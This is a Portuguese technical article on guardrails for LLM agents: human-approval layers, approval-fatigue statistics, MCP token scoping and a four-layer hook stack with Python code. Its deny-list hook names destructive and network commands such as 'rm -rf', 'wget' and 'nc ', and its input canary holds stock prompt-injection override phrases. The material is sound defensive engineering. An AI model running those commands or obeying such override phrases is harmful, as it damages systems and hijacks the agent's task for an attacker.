CamadaHumana É a versão gerida da mesma ideia. Trata-se de decorar uma função, fazendo com que os pedidos de aprovação sejam encaminhados para o Slack, e-mail ou Discord, com regras definidas para determinar quem será notificado. Quando o agente tenta efetuar a chamada multiply(2, 5), os registos têm este aspeto:

last message led to 1 tool calls: [('multiply', '{"x":2,"y":5}')]
HumanLayer: waiting for approval for multiply

O aprovador clica em “aprovar” ou “recusar” no Slack. No caso de recusa, os documentos da HumanLayer descrevem o processo da seguinte forma: “A HumanLayer reenvia os seus comentários ao agente, que pode então ajustar a sua abordagem.” É precisamente esta última parte que distingue uma camada HITL verdadeira de um simples diálogo de confirmação. O humano passa a ser um sinal sobre o qual o agente reflete, dentro do mesmo ciclo, em vez de uma barreira que só conhece “sim” ou “não”.

Fadiga de aprovação nos dados

Anthropic publicou os dados reais em Fevereiro de 2026. Três conclusões são mais importantes do que as restantes.

“Verificámos que 80% de tool calls provêm de agentes que parecem dispor de pelo menos um tipo de proteção (como permissões restritas ou requisitos de aprovação humana), 73% parecem ter alguma forma de intervenção humana no processo, e apenas 0,8% das ações parecem ser irreversíveis.”

Essa é a boa notícia. Trate 80% como um limite superior, pois a nota de rodapé 14 da Anthropic indica que “O Claude costuma superestimar o envolvimento humano; portanto, esperamos que 80% seja um limite superior.”

“Os utilizadores mais novos (<50 sessões) recorrem à aprovação automática total em cerca de 20% das vezes; ao atingirem 750 sessões, esta percentagem aumenta para mais de 40% das sessões.”

da Anthropic Março de 2026 Um artigo técnico sobre o modo automático do Claude Code indica o número-chave:

“Os utilizadores do Claude Code aprovam 93% das permissões prompts. Desenvolvemos classificadores para automatizar algumas decisões, aumentando a segurança e ao mesmo tempo reduzindo o esforço associado às aprovações… Se uma sessão acumular 3 recusas consecutivas ou um total de 20, interrompemos o funcionamento do modelo e encaminhamos o caso para um interveniente humano.”

93% de aprovação é o sinal fundamental. Quando um diálogo é aprovado em nove das dez ocasiões, deixa de ser um mecanismo de segurança fiável, passando a ser apenas telemetria. Os utilizadores aprenderam a ignorá-lo simplesmente clicando nele. A resposta da Anthropic segue uma abordagem arquitetónica: um classificador em duas fases (um filtro rápido por token único e, apenas se houver sinalização, o uso de chain-of-thought, com 0,4% de taxa de falsos positivos) elimina as aprovações prompts para ações de baixo risco e interrompe completamente o ciclo caso surjam vários casos de rejeição.

Medir a qualidade da escalonamento

Rutina de lista de permissões: executar ações reversíveis e registá-las. É necessário escalar as ações cujos efeitos colaterais ultrapassam um limite que o runtime não consegue reverter, como a envio de uma mensagem externa, uma escrita em ambiente de produção, uma atualização forçada ou um pagamento. A Anthropic define o objetivo como garantir que um humano possa intervir sempre que a decisão tenha consequências reais.

Acompanhe o funil completo em vez de se focar num objetivo de taxa de aprovação imposto de fora: ações propostas, autorizações automáticas, escalonamentos, aprovações, recusas, edições e incidentes ocorridos após a aprovação. Uma alta taxa de aprovação pode indicar que os prompts são apenas ruído rotineiro. Já uma alta taxa de recusas ou edições pode significar que o responsável pelo planeamento está a propor a ação errada ou a ocultar as informações necessárias ao responsável pela aprovação. O limiar adequado depende da classe da ação e do custo associado a uma autorização incorreta; portanto, defina-o com base nos seus próprios dados de incidentes e revisões.

MCP delimitação de escopo e a cadeia de abastecimento

MCP conecta agentes a ferramentas externas como o Slack, o GitHub e bases de dados, o que faz com que o seu modelo de autorização faça parte da barreira de segurança. As revisões das especificações de 2025 separaram os papéis de emissor de tokens e servidor de recursos, além de adicionar indicadores de recurso. Essa evolução explica quais verificações de audiência e encaminhamento um servidor deve aplicar atualmente.

Autorização MCP em três revisões

O especificação de 26-03-2025 O OAuth 2.1 obrigatório com PKCE é o fluxo padrão para clientes públicos. Essa parte está correta, mas a especificação era incompleta de uma forma sutil, porém perigosa. Ela misturava dois papéis muito distintos que um servidor MCP pode desempenhar: o servidor de autorização (Authorization Server – AS), responsável pela emissão de tokens, e o servidor de recurso (Resource Server – RS), que os aceita. Quando o mesmo servidor consegue realizar ambas as funções, um cliente pode entregar um token ao servidor A; se este, por sua vez, encaminhar a solicitação para o servidor B, a mesma credencial acaba sendo enviada para um local para o qual nunca deveria chegar. Esse é o problema.

A revisão de 18-06-2025 separou estas funções. Um servidor MCP atua como servidor de recursos OAuth, enquanto um servidor de autorização externo emite o token. Os indicadores de recurso RFC 8707 associam o token a um recurso alvo, e os metadados de recurso protegido RFC 9728 fornecem ao cliente um caminho de descoberta explícito. A especificação proíbe também que um servidor MCP reenvie o token de um cliente para níveis superiores na cadeia de autenticação.

A restrição de vinculação ao público impede a reprodução de ataques contra o servidor incorreto MCP. No entanto, ela não neutraliza o resto da cadeia de ataques do Claude Code descrita anteriormente: um gancho executado no lado do host ainda pode ser acionado antes que o modelo comece a funcionar, e um projeto não confiável ainda pode tentar alterar as configurações locais. O escopo dos tokens, a confiança no projeto, as políticas de ganchos e o sandboxing continuam a ser mecanismos de controle independentes.

A lista de verificação para 2026 MCP

Se estiver a distribuir ou a utilizar MCP em produção:

  1. A autenticação não é opcional. O servidor Azure MCP apresentava uma vulnerabilidade CVE devido à falta de mecanismos de autenticação. Se o seu servidor aceitar tráfego sem verificar um token, estará a criar uma ferramenta que qualquer atacante na mesma rede pode utilizar.
  2. Os tokens são vinculados a um público específico. Solicite um token para a resource MCP alvo e verifique se o token apresentado é reconhecido pelo seu servidor como pertencente ao público desejado. Rejeite tokens criados para outra resource.
  3. Conceda a cada ferramenta apenas as permissões de que realmente precisa. As permissões residem no servidor, e não na ferramenta — portanto, se a instância de Slack MCP receber permissão para publicar mensagens (chat:write), todas as ferramentas do Slack nesse servidor herdam essas permissões, incluindo aquelas que deveriam apenas ler dados. Tente separá-las em servidores distintos sempre que possível, para que um erro em uma ferramenta não possa utilizar, silenciosamente, uma autorização de que nunca precisou.
  4. Utilize tokens novos e de curta duração em vez de chaves API permanentes. O padrão de cofre dos Claude Managed Agents (Engenharia Anthropic) A referência é a seguinte: o próprio agente nunca vê as credenciais reais. Um serviço intermediário armazena-as, obtém um token novo no momento em que uma ferramenta é chamada, utiliza-o em nome do agente e devolve apenas o resultado.

Os controlos da cadeia de abastecimento continuam a ser aplicados

Os incidentes com o axios e o Trivy representam falhas conhecidas na cadeia de abastecimento de pacotes e em processos CI, ocorridas em sistemas que automatizam a instalação de dependências. A automação aumenta tanto a frequência quanto a velocidade das execuções, pelo que os controlos de versão, proveniência e revisão devem ser realizados antes que o comando gerado chegue ao CI ou a um sandbox.

A defesa é simples:

Estes são controlos padrão da cadeia de abastecimento. A automação de agentes altera a sua frequência, mas não o seu mecanismo.

Uma pilha de proteção para o Agente Analista de Mercado

O Agente de Análise de Mercado de Parte 1 Trata‑se de um agente pequeno da LangGraph. Ele recolhe dados de mercado, resume pesquisas e não deve executar comandos de shell, escrever fora da sua área de trabalho nem extrair qualquer informação. Eis como se apresenta uma pilha mínima de mecanismos de proteção para este agente.

Camada 1: um gancho PreToolUse de lista de proibições

Até mesmo um agente que “apenas lê dados de ações” pode aceder a elementos aos quais não deveria: um curl para um URL controlado por um atacante, escreve fora da área de trabalho, git mutações no repositório do anfitrião. Uma regra de negação faz parte da infraestrutura, e não do prompt.

# agent/permissions.py
DENY_COMMANDS = frozenset({
    "rm -rf", "sudo", "chmod 777",
    "curl -X POST", "wget", "nc ",
})
DENY_PATHS = ("/", "/etc", "/Users", "/.ssh")

def pre_tool_use(tool_name: str, args: dict) -> dict | None:
    if tool_name == "shell":
        cmd = args.get("command", "")
        if any(bad in cmd for bad in DENY_COMMANDS):
            return {"permissionDecision": "deny",
                    "reason": f"command pattern disallowed: {cmd!r}"}
    if tool_name == "write_file":
        path = args.get("path", "")
        if any(path.startswith(p) for p in DENY_PATHS):
            return {"permissionDecision": "deny",
                    "reason": f"path outside workspace: {path!r}"}
    return None  # fall through to mode / canUseTool

O esboço torna o ponto de controlo visível: o gancho devolve uma recusa estruturada, e o reasoning loop recebe essa recusa como uma observação da ferramenta. A correspondência de subcadeias não faz parte das políticas de um shell de produção. Uma implementação real deve analisar os comandos, resolver os caminhos antes da comparação, utilizar listas de permissões sempre que possível e recorrer ao sandbox do sistema operativo quando um comando chega à fase de execução.

Camada 2: um canário de entrada para prompt injection

O sequestro de agente‑objetivo (ASI01) ocorre frequentemente através de uma página da Web recuperada, de uma mensagem do utilizador ou de um ficheiro PDF de artigo de investigação. Um “canary” baseado em expressões regulares simples consegue detetar padrões de instrução literais e gerar um evento de telemetria útil. No entanto, não consegue identificar injeções ofuscadas, multilíngues ou dependentes do contexto, pelo que não pode servir como limite de decisão:

# agent/input_canary.py
import re

INJECTION_PATTERNS = [
    re.compile(r"ignore (previous|all|prior) (instructions|rules)",
               re.IGNORECASE),
    re.compile(r"you are now|act as|roleplay as", re.IGNORECASE),
    re.compile(r"system[ _:]*prompt", re.IGNORECASE),
    re.compile(r"<\|im_(start|end)\|>"),
]

def input_canary(text: str) -> dict | None:
    for pat in INJECTION_PATTERNS:
        m = pat.search(text)
        if m:
            return {"flag": "possible_injection", "match": m.group(0)}
    return None

Registre as entradas sinalizadas; não as rejeite automaticamente. Os falsos positivos nesse caso são muito dispendiosos para um assistente de investigação. No entanto, é o registo que permite detetar quando o número de sinalizações aumenta subitamente num determinado utilizador.

Camada 3: validação de structured output através de um hook de interrupção

um modelo Pydantic mais um Stop O hook oferece um ciclo estrito de validação e tentativa repetida para a geração de relatórios. O agente não pode declarar que está “concluído” até que a saída passe pela validação do esquema e por um teste de funcionalidade básica:

# agent/stop_hook.py
from pydantic import ValidationError
from agent.schemas import MarketReport

def on_stop(final_output: str) -> dict:
    try:
        report = MarketReport.model_validate_json(final_output)
    except ValidationError as e:
        return {"decision": "continue",
                "feedback": f"schema invalid: {e.errors()[:3]}"}
    if not report.tickers:
        return {"decision": "continue",
                "feedback": "no tickers in report — did you skip the snapshot step?"}
    return {"decision": "allow_stop"}

Três linhas de validação de esquema e uma verificação rápida são o que fazem a diferença entre “o agente diz que está feito” e “a saída é, de facto, um relatório”. Trata-se de uma forma económica de garantir a qualidade.

Camada 4: um portal de interrupção nas ações de saída

O analista de mercado nunca deve enviar e-mails ou publicar mensagens no Slack. No entanto, se alguma vez dispor de uma ferramenta que o permita, essa ferramenta será envolvida em interrupt():

# agent/tools/notify.py
from langgraph.types import interrupt

@tool
def send_report(to: str, body: str):
    resp = interrupt({
        "action": "send_report",
        "to": to,
        "body_preview": body[:400],
    })
    if resp.get("action") == "approve":
        return smtp_send(to, body)
    return "send cancelled by human"

As ações de saída completam a tríade letal. Devem ser controladas de forma explícita sempre que o destino ou o conteúdo ultrapassar o raio de ação normal do agente. As mensagens destinadas ao departamento financeiro, aos clientes ou a destinatários externos devem conter uma pré-visualização e informações de proveniência suficientes para que o responsável pela aprovação compreenda exatamente o que será enviado.

O que esta pilha não faz

Os limites são importantes. Isto não constitui uma proteção contra:

Estes ganchos constituem a camada de política local. Parte 5 Exibe onde o sandbox, ou seja, o broker secreto, o checkpoint, bem como o registo de auditoria, estão ativos durante uma execução de longa duração. A Parte 6 irá aprofundar-se no harness e analisar de que forma as verificações de aceitação, as tentativas de repetição e a avaliação baseada em rastreios impedem que o ciclo declare sucesso prematuramente.

Principais conclusões

  1. Filtros de conteúdo e políticas de execução protegem fronteiras distintas. Os filtros analisam a entrada e a saída do modelo. A autorização de ferramentas, o escopo das credenciais, sandboxes, bem como os controles da cadeia de suprimentos atuam nos caminhos utilizados nos seis incidentes relatados.
  2. A maioria das categorias OWASP ASI exige controles aplicados fora da saída do modelo. Utilize a lista para associar cada ameaça ao componente que pode efetivamente bloqueá‑la ou registrá‑la.
  3. A permissão é uma infraestrutura, e não prompt. O Claude Code avalia as regras de negação, as regras de solicitação, os ganchos PreToolUse, as regras de autorização, o modo de funcionamento e os callbacks numa ordem predefinida. Outros ambientes de execução necessitam de um modelo de precedência igualmente testável.
  4. Trate a negação estruturada de um gancho PreToolUse como mais uma observação feita pela ferramenta. O reasoning loop já lida com isso; não é necessário criar um fluxo de trabalho de segurança separado.
  5. Uma taxa de aprovação de 93% é um sinal para verificar a qualidade de prompt e a frequência de escalonamento. Monitore as edições, as negações e os incidentes após a aprovação, em vez de seguir um objetivo universal.
  6. Tokens vinculados a um público específico e cofres por sessão limitam a reprodução e a exposição de credenciais. Eles não substituem a confiança no projeto, as políticas de ganchos nem o isolamento em sandbox.
  7. As verificações da cadeia de suprimentos devem ser executadas na velocidade da automação. Fixe as versões e os SHA das Actions, realize varreduras em CI e analise as alterações nas dependências nas solicitações de pull criadas pelos agentes.
  8. Construa a camada de políticas de modo a que o lançamento de um novo produto não a invalide. O OpenAI Agents SDK, o Codex CLI e o Claude Code expressam as mesmas primitivas de formas diferentes. São estas primitivas (escadas de permissões, ganchos, sandboxes, interrupções e tokens vinculados a um público específico) que constituem a base das suas decisões.

Referências

As estruturas de enquadramento

LLM produtos de proteção

Incidentes

Interfaces de política

HITL

OWASP

Série

O código do Agente Analista de Mercado (o gancho de negação PreToolUse, o canário de entrada, o validador de gancho Stop e o portal de interrupção descritos acima) encontra-se em GitHub._